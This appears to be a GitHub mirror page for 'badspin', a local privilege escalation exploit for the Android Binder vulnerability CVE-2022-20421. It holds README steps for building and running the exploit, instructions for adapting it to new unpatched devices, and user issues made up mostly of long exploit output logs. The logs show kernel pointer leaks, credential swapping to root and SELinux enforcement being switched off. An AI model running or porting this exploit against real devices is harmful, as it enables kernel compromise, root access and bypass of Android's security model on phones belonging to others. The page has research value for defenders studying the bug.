GithubHelp home page GithubHelp logo

badspin's Introduction

Bad Spin: Android Binder LPE

Author: Moshe Kol

Privilege escalation exploit from unstrusted_app for Android Binder vulnerability (CVE-2022-20421). The vulnerability is patched on Android's Security Bulletin of October 2022. The exploit works on devices running kernel versions 5.4.x and 5.10.x, and it achieves full kernel R/W primitives. For the Google Pixel 6, it also obtains full root and SELinux bypass.

You can find the full write-up here.

Run from shell

  1. Compile the libbadspin.so library by typing make push in the src/ directory. This will also push the library to /data/local/tmp.
  2. Run adb shell.
  3. Run LD_PRELOAD=/data/local/tmp/libbadspin.so sleep 1. This will load the library and start the exploit.

Run from demo app

  1. Compile libbadspin.so by typing make push in the src/ directory. This will copy the library to the assets directory for the demo Android app.
  2. Compile the demo Android app in the app/ directory. (You might need Android Studio to do this.)
  3. Run the app and click on the "Exploit" button.
  4. Consume logs using: adb logcat -s BADSPIN

Compilation options

You can pass the following variables to make:

  • VERBOSE=1 to increase verbosity.
  • TEST_VULN=1 to test the vulnerability without proceeding with the exploit.

Tested devices

$ make list
0: Samsung Galaxy S22, Android 12 (6/2022), kernel 5.10.81
1: Samsung Galaxy S21 Ultra, Android 12 (3/2022), kernel 5.4.129
2: Google Pixel 6, Android 12 (5/2022), kernel 5.10.66
3: Google Pixel 6, Android 13 (9/2022), kernel 5.10.107

Support a new device

It is not difficult to adapt the exploit and support a new device.

  1. Make sure your new device runs on kernel version 5.4.x or 5.10.x, and that its Android's security patch level is below October 2022.

  2. Add your device properties to dev_config.h.

  3. Specify two function pointers:

    • kimg_to_lm(): Converts a kernel image virtual pointer to the linear mapping.
    • find_kbase(): Finding the kernel base address from an anon_pipe_buf_ops leaked pointer.

    You may use the already provided functions for this. (If your vendor is not Samsung and you're not sure, use the same functions as for the Pixel 6.)

  4. Compile and run.

If it works for you, please submit a pull request.

Known issues

  • The phone might crash on unsuccessful attempts.
  • The exploit is unstable in the first few minutes after boot.
  • Only works on kernel versions 5.4.x and 5.10.x.
  • Only achieves kernel R/W on non-Pixel devices.

badspin's People

Contributors

0xkol avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

badspin's Issues

/data/data/ seems virtual

Success and root, BUT
the /data/data directory seems like it's a virtual version, which has only my app, but not the rest of the apps, no packages present in it, as if this root has a different version in a different user-space or a container.

How is that possible?, and how to access or list the rest of the packages inside the /data/data/ directory ?

Pixel 6A... Failed !

Device = Pixel 6A
Build Number = SD2A.220123.051.A3
Android = 12
Kernel = 5.10.66
Security Patch = 4/2022

// dev_config.h
{
        /* BlueJay 12.0.0 (SD2A.220123.051.A3, Apr 2022) */
        .name = "Google Pixel 6a",
        .model = "Pixel 6a",
        .android_version = 12,
        .android_security_patch.year = 2022,
        .android_security_patch.month = 4,
        .kernel_version = KERNEL_VERSION(5, 10, 66),
        .kimg_to_lm = pixel_kimg_to_lm,
        .find_kbase = noop_kbase,
}
bluejay:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64

output from adb shell

==========================================
Bad Spin Exploit (CVE-2022-20421) by 0xkol
==========================================
[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[7029:7029] New binder client: A
[7031:7031] New binder client: C
[7030:7030] New binder client: B
A: lookup B => handle = 2
C: lookup A => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
Txn size: 1023.562500KB
B: Destroying
B: Finish. 
C: Wait for A...
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
	Testing ptmx 0 (fd 4)
		Reading ptmx 0
	Freeing ptmx...
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
	Joining blocker threads...
	All blocker threads joined.
offsetof(inner_lock, binder_proc) = 576
[x] Found binder_proc's inner_lock offset: 576 (vuln_fd 72)

[pipe_process:7086] Pinned to CPU 0
[graveyard_process] pid = 7085
[pipe_process:7089] Pinned to CPU 3
[pipe_process:7088] Pinned to CPU 2
[pipe_process:7090] Pinned to CPU 4
[pipe_process:7087] Pinned to CPU 1
[pipe_process:7094] Pinned to CPU 7
[pipe_process:7093] Pinned to CPU 6
[pipe_process:7091] Pinned to CPU 5
[fd_master_process] pid = 7095
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:7151] 30000 files sprayed
[shaper_process:7149] 30000 files sprayed
[shaper_process:7152] 30000 files sprayed
[shaper_process:7150] 30000 files sprayed
[shaper_process:7153] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=7154
[timer_master_process] Wait for C to enter spin_lock()
[7156:7156] New binder client: B
[7159:7159] New binder client: C
[7155:7155] New binder client: A
C: lookup A => handle = 2
A: lookup B => handle = 2
B: Searching for magic badcab1ebadcab1e....
A: Waiting for strong nodes...
A: 1 references accepted
A: Sending 1 strong handles to B
Txn size: 1023.562500KB
B: Destroying
B: Finish. 
C: Wait for A...
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
SYSCHK(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev))

It stuck on this and if I force close (Ctrl+C) the command the phone stuck on screen and after few secondes it's freeze so I need to force shutdown with button combo.

Google Pixel 6 not working, stuck on "Could not open socket connection"

dev_config.h:
`.name = "Google Pixel 6",

    .model = "Pixel 6",

    .android_version = 12,

    .android_security_patch.year = 2022,

    .android_security_patch.month = 7,

    .kernel_version = KERNEL_VERSION(5, 10, 81),

    .kimg_to_lm = pixel_kimg_to_lm,

    .find_kbase = noop_kbase,`

Log from terminal:

  • daemon not running; starting now at tcp:5037
  • daemon started successfully
    oriole:/ $ LD_PRELOAD=/data/local/tmp/libbadspin.so sleep 1
    ==========================================
    Bad Spin Exploit (CVE-2022-20421) by 0xkol
    ==========================================
    [x] Looking for binder_proc's inner_lock offset
    [x] Trigger vulnerability... (mode = 1)
    [x] Trigger use-after-free
    [x] Finish spinning at spin_lock()
    [x] Found binder_proc's inner_lock offset: 576 (vuln_fd 72)

[x] Shaping physical memory
[x] Trigger vulnerability... (mode = 3)
[x] Trigger use-after-free
[x] Waiting for timer threads
[x] Finish spinning at spin_lock()
.............................................*....
[x] Trying to escalate...
[x] Found corrupted ptmx and pipe.
[x] Leaking pipe buffer...
[x] Leaked pipe buffer oprerations: ffffffe371f3d9a8
[x] Leaked pipe buffer page : ffffffff01540080
[x] kallsyms found successfully!
[x] Kernel base: ffffffe36fc00000
[x] Found init_task: ffffffe3725cbec0
[x] task_struct offsets:
tasks at 1224
pid at 1480
tgid at 1484
thread_group at 1656
files at 1984
cred at 1920
[x] files_struct offsets:
fdt at 32
[x] task_struct: ffffff8863570000
[x] Successfully upgraded to stable RW primitives. \o/

[x] Success! Time to root
Finding init cred
init task_struct = ffffff880017b780
init cred = ffffff8825c3dc00 (usage 5)
Switch 11045:-1 to new creds (ffffff8825c3dc00)
task_struct (11045:-1) = ffffff8863575c80 cred = ffffff880910d0c0
Change cred and real_cred
Done
Setting selinux_state->enforce to 0
status page = ffffffff20209dc0
status page virt = ffffff8810277000
Done
Switch 10030:10030 to new creds (ffffff8825c3dc00)
task_struct (10030:10030) = ffffff8893699280 cred = ffffff880665d3c0
Change cred and real_cred
Done
Switch 10030:10030 to new creds (ffffff880665d3c0)
task_struct (10030:10030) = ffffff8893699280 cred = ffffff8825c3dc00
Change cred and real_cred
Done
Setting selinux_state->enforce to 1
status page = ffffffff20209dc0
status page virt = ffffff8810277000
Done
Switch 10030:10030 to new creds (ffffff8825c3dc00)
task_struct (10030:10030) = ffffff8893699280 cred = ffffff880665d3c0
Change cred and real_cred
Done
escalate exit status = 0
Reset process state
Could not open socket connection

It just hangs at the end. I've checked the other issues (opened and closed) but I don't believe I saw anything like this in there. Am I doing something wrong?

vivo x80 pro dimnesty edition Failed

PD2186:/ $ LD_PRELOAD=/data/local/tmp/libbadspin.so sleep 1
Failed on dev_config_init:1341

Phone details:
Vivo x80 Pro Dimnesty Edition
[ro.build.fingerprint]: [vivo/PD2186/PD2186:12/SP1A.210812.003/compiler09052332:user/release-keys]

Patch Date:
[persist.vendor.connsys.patch.version]: [-1]
[ro.build.version.security_patch]: [2022-08-01]
[ro.vendor.build.security_patch]: [2021-12-05]

EDIT: i found out that we need to modify: dev_config.h

    /* PD2186B_A_12.0.19.3.W10 */
    .name = "Vivo x80 Pro Dimnesty Edition",
    .model = "PD2186",
    .android_version = 12,
    .android_security_patch.year = 2022,
    .android_security_patch.month = 8,
    .kernel_version = KERNEL_VERSION(5, 10, 66),
    /* .ram_offset = 0x28000000UL,*/
},

Failed on dev_config_init:1341

SM-F926U - Fail and Crash

Device Config

/* F926USQS1BUL6 */
        .name = "Samsung Galaxy Z Fold 3",
        .model = "SM-F926U",
        .android_version = 12,
        .android_security_patch.year = 2021,
        .android_security_patch.month = 12,
        .kernel_version = KERNEL_VERSION(5, 4, 86),
        .ram_offset = 0x20080000UL,
        //.ram_offset = 0xa0080000UL,
        .kimg_to_lm = samsung_kimg_to_lm,
        .find_kbase = scan_kbase,

Crash Logs

I've tried to run this about 100 times with varying different ram_offsets, the typical crash occurs after several [X] Failed attempts followed by not even reaching the failed point and crashing at:

Txn size: 1023.562500KB
B: Destroying
B: Finish. 
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Waiting for timer threads
[x] Trigger use-after-free

I did have one of the runs go a bit further, for maybe the 2nd or 3rd time, it has gotten to Trying to Escalate. Although it is an anomaly more so than the norm. I have provided a full log for that:

[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[12425:12425] New binder client: C
[12423:12423] New binder client: A
[12424:12424] New binder client: B
A: lookup B => handle = 2
C: lookup A => handle = 2
A: Waiting for strong nodes...
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
B: Searching for magic badcab1ebadcab1e....
Txn size: 1023.562500KB
B: Destroying
B: Finish. 
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
	Testing ptmx 0 (fd 5)
		Reading ptmx 0
	Testing ptmx 1 (fd 6)
		Reading ptmx 1
	Testing ptmx 2 (fd 7)
		Reading ptmx 2
	Testing ptmx 3 (fd 8)
		Reading ptmx 3
	Testing ptmx 4 (fd 9)
		Reading ptmx 4
	Freeing ptmx...
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
	Joining blocker threads...
	All blocker threads joined.
offsetof(inner_lock, binder_proc) = 544
[x] Found binder_proc's inner_lock offset: 544 (vuln_fd 68)

[graveyard_process] pid = 12496
[pipe_process:12497] Pinned to CPU 0
[pipe_process:12498] Pinned to CPU 1
[pipe_process:12500] Pinned to CPU 3
[pipe_process:12501] Pinned to CPU 4
[pipe_process:12502] Pinned to CPU 5
[pipe_process:12499] Pinned to CPU 2
[pipe_process:12504] Pinned to CPU 7
[pipe_process:12503] Pinned to CPU 6
[fd_master_process] pid = 12517
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:12577] 30000 files sprayed
[shaper_process:12575] 30000 files sprayed
[shaper_process:12573] 30000 files sprayed
[shaper_process:12576] 30000 files sprayed
[shaper_process:12574] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=12590
[timer_master_process] Wait for C to enter spin_lock()
[12593:12593] New binder client: C
[12591:12591] New binder client: A
[12592:12592] New binder client: B
A: lookup B => handle = 2
C: lookup A => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish. 
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[x] Waiting for timer threads
[timer_master_process] Done.
..................................................
[x] Failed.

[cleanup_fd_master] Cleanup zombie processes
	Cleanup dup processes
		Done.
	Reset pipe processes
	Cleanup shapers
		Done.
	Cleanup spawner
	Cleanup done.
[fd_master_process] pid = 12628
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:12684] 30000 files sprayed
[shaper_process:12682] 30000 files sprayed
[shaper_process:12680] 30000 files sprayed
[shaper_process:12683] 30000 files sprayed
[shaper_process:12681] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=12685
[timer_master_process] Wait for C to enter spin_lock()
[12688:12688] New binder client: C
[12686:12686] New binder client: A
[12687:12687] New binder client: B
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish. 
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
[x] Waiting for timer threads
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[timer_master_process] Done.
..................................................
[x] Failed.

[cleanup_fd_master] Cleanup zombie processes
	Cleanup dup processes
		Done.
	Reset pipe processes
	Cleanup shapers
		Done.
	Cleanup spawner
	Cleanup done.
[fd_master_process] pid = 12716
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:12772] 30000 files sprayed
[shaper_process:12771] 30000 files sprayed
[shaper_process:12769] 30000 files sprayed
[shaper_process:12768] 30000 files sprayed
[shaper_process:12770] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=12773
[timer_master_process] Wait for C to enter spin_lock()
[12776:12776] New binder client: C
[12775:12775] New binder client: B
[12774:12774] New binder client: A
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish. 
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
[x] Waiting for timer threads
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[timer_master_process] Done.
..................................................
[x] Failed.

[cleanup_fd_master] Cleanup zombie processes
	Cleanup dup processes
		Done.
	Reset pipe processes
	Cleanup shapers
		Done.
	Cleanup spawner
	Cleanup done.
[fd_master_process] pid = 12805
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:12861] 30000 files sprayed
[shaper_process:12857] 30000 files sprayed
[shaper_process:12859] 30000 files sprayed
[shaper_process:12858] 30000 files sprayed
[shaper_process:12860] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=12865
[12867:12867] New binder client: B
[12866:12866] New binder client: A
[12868:12868] New binder client: C
[timer_master_process] Wait for C to enter spin_lock()
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
Txn size: 1023.562500KB
B: Destroying
B: Finish. 
C: Wait for A...
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
[x] Waiting for timer threads
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[timer_master_process] Done.
.......................................*..........
[fd_master_process] Received 512 pipes
[cleanup_fd_master] Cleanup zombie processes
	Cleanup dup processes
		Done.
	Cleanup shapers
		Done.
	Cleanup spawner
	Cleanup done.
[x] Trying to escalate...
Write page to every pipe
Identifying pipe

Perhaps related to #2

Fail in Galaxy S21 Ultra

   the device power off
   
    .name = "Samsung Galaxy S21 Ultra", // Qualcomm 
    .model = "SM-G998U",
    .android_version = 12,
    .android_security_patch.year = 2022,
    .android_security_patch.month = 3,
    .kernel_version = KERNEL_VERSION(5, 4, 86),
    .ram_offset = 0x0,

==========================================
Bad Spin Exploit (CVE-2022-20421) by 0xkol

[x] Looking for binder_proc's inner_lock offset
[x] Trigger vulnerability... (mode = 1)
[19384:19384] New binder client: A
[19385:19385] New binder client: B
[19386:19386] New binder client: C
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
Txn size: 1023.562500KB
B: Destroying
B: Finish.
C: Wait for A...
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
Testing ptmx 0 (fd 5)
Reading ptmx 0
Testing ptmx 1 (fd 6)
Reading ptmx 1
Testing ptmx 2 (fd 7)
Reading ptmx 2
Testing ptmx 3 (fd 8)
Reading ptmx 3
Testing ptmx 4 (fd 9)
Reading ptmx 4
Testing ptmx 5 (fd 10)
Reading ptmx 5
Testing ptmx 6 (fd 11)
Reading ptmx 6
Testing ptmx 7 (fd 12)
Reading ptmx 7
Testing ptmx 8 (fd 13)
Reading ptmx 8
Testing ptmx 9 (fd 14)
Reading ptmx 9
Testing ptmx 10 (fd 15)
Reading ptmx 10
Testing ptmx 11 (fd 16)
Reading ptmx 11
Testing ptmx 12 (fd 17)
Reading ptmx 12
Testing ptmx 13 (fd 18)
Reading ptmx 13
Testing ptmx 14 (fd 19)
Reading ptmx 14
Testing ptmx 15 (fd 20)
Reading ptmx 15
Testing ptmx 16 (fd 21)
Reading ptmx 16
Testing ptmx 17 (fd 22)
Reading ptmx 17
Testing ptmx 18 (fd 23)
Reading ptmx 18
Testing ptmx 19 (fd 24)
Reading ptmx 19
Testing ptmx 20 (fd 25)
Reading ptmx 20
Freeing ptmx...
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
Joining blocker threads...
All blocker threads joined.
offsetof(inner_lock, binder_proc) = 544
[x] Found binder_proc's inner_lock offset: 544 (vuln_fd 68)

[graveyard_process] pid = 19714
[pipe_process:19715] Pinned to CPU 0
[pipe_process:19716] Pinned to CPU 1
[pipe_process:19717] Pinned to CPU 2
[pipe_process:19719] Pinned to CPU 4
[pipe_process:19718] Pinned to CPU 3
[pipe_process:19720] Pinned to CPU 5
[pipe_process:19722] Pinned to CPU 7
[pipe_process:19721] Pinned to CPU 6
[fd_master_process] pid = 19723
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:19803] 30000 files sprayed
[shaper_process:19802] 30000 files sprayed
[shaper_process:19799] 30000 files sprayed
[shaper_process:19801] 30000 files sprayed
[shaper_process:19800] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=19866
[timer_master_process] Wait for C to enter spin_lock()
[19867:19867] New binder client: A
[19869:19869] New binder client: C
[19868:19868] New binder client: B
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
B: Finish.
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
[x] Waiting for timer threads
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
[x] Failed.

[cleanup_fd_master] Cleanup zombie processes
Cleanup dup processes
[x] Finish spinning at spin_lock()
Done.
Reset pipe processes
Cleanup shapers
Done.
Cleanup spawner
Cleanup done.
[timer_master_process] Done.
[fd_master_process] pid = 20225
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:20310] 30000 files sprayed
[shaper_process:20307] 30000 files sprayed
[shaper_process:20308] 30000 files sprayed
[shaper_process:20306] 30000 files sprayed
[shaper_process:20309] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=20367
[timer_master_process] Wait for C to enter spin_lock()
[20368:20368] New binder client: A
[20377:20377] New binder client: C
[20369:20369] New binder client: B
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
Txn size: 1023.562500KB
B: Destroying
B: Finish.
C: Wait for A...
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[x] Waiting for timer threads
[timer_master_process] Done.
..................................................
[x] Failed.

[cleanup_fd_master] Cleanup zombie processes
Cleanup dup processes
Done.
Reset pipe processes
Cleanup shapers
Done.
Cleanup spawner
Cleanup done.
[fd_master_process] pid = 20721
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:20781] 30000 files sprayed
[shaper_process:20779] 30000 files sprayed
[shaper_process:20780] 30000 files sprayed
[shaper_process:20777] 30000 files sprayed
[shaper_process:20778] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=20883
[timer_master_process] Wait for C to enter spin_lock()
[20884:20884] New binder client: A
[20885:20885] New binder client: B
[20886:20886] New binder client: C
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
[x] Waiting for timer threads
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[timer_master_process] Done.
..................................................
[x] Failed.

[cleanup_fd_master] Cleanup zombie processes
Cleanup dup processes
Done.
Reset pipe processes
Cleanup shapers
Done.
Cleanup spawner
Cleanup done.
[fd_master_process] pid = 21191
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:21257] 30000 files sprayed
[shaper_process:21255] 30000 files sprayed
[shaper_process:21254] 30000 files sprayed
[shaper_process:21253] 30000 files sprayed
[shaper_process:21256] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[21319:21319] New binder client: B
[timer_master_process] pid=21317
[21318:21318] New binder client: A
[timer_master_process] Wait for C to enter spin_lock()
[21320:21320] New binder client: C
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Trigger use-after-free
[x] Waiting for timer threads
[timer_master_process] Done.
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
..................................................
[x] Failed.

[cleanup_fd_master] Cleanup zombie processes
Cleanup dup processes
Done.
Reset pipe processes
Cleanup shapers
Done.
Cleanup spawner
Cleanup done.
[fd_master_process] pid = 21650
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:21706] 30000 files sprayed
[shaper_process:21702] 30000 files sprayed
[shaper_process:21703] 30000 files sprayed
[shaper_process:21705] 30000 files sprayed
[shaper_process:21704] 30000 files sprayed
[fd_master_process] Shapers done.
[fd_master_process] Wait for all dup processes to finish
[x] Trigger vulnerability... (mode = 3)
[timer_master_process] pid=21833
[timer_master_process] Wait for C to enter spin_lock()
[21836:21836] New binder client: C
[21835:21835] New binder client: B
[21834:21834] New binder client: A
C: lookup A => handle = 2
A: lookup B => handle = 2
A: Waiting for strong nodes...
B: Searching for magic badcab1ebadcab1e....
A: 1 references accepted
A: Sending 1 strong handles to B
C: Wait for A...
Txn size: 1023.562500KB
B: Destroying
B: Finish.
monitor_thread_a: Waiting for death notification
monitor_thread_a: Found dead binder (cookie = 0x5858585858585858)
monitor_thread_a: Done
A: Done sending transaction. BR_FAILED_REPLY
poc_a_wait_for_c_death: Waiting for C death notification
[x] Waiting for timer threads
[x] Trigger use-after-free
poc_a_wait_for_c_death: Found dead binder (cookie = 0x6161616161616161)
[x] Finish spinning at spin_lock()
[timer_master_process] Done.
..................................................
[x] Failed.

[cleanup_fd_master] Cleanup zombie processes
Cleanup dup processes
Done.
Reset pipe processes
Cleanup shapers
Done.
Cleanup spawner
Cleanup done.
[fd_master_process] pid = 22180
[fd_master_process] Creating dup process spawner
[fd_master_process] Creating 50 dup processes
[fd_master_process] Setup 8 pipe processes
[x] Shaping physical memory
[fd_master_process] Creating 5 shapers
[fd_master_process] Waiting for shapers...
[shaper_process:22239] 30000 files sprayed
[shaper_process:22236] 30000 files sprayed
[shaper_process:22235] 30000 files sprayed
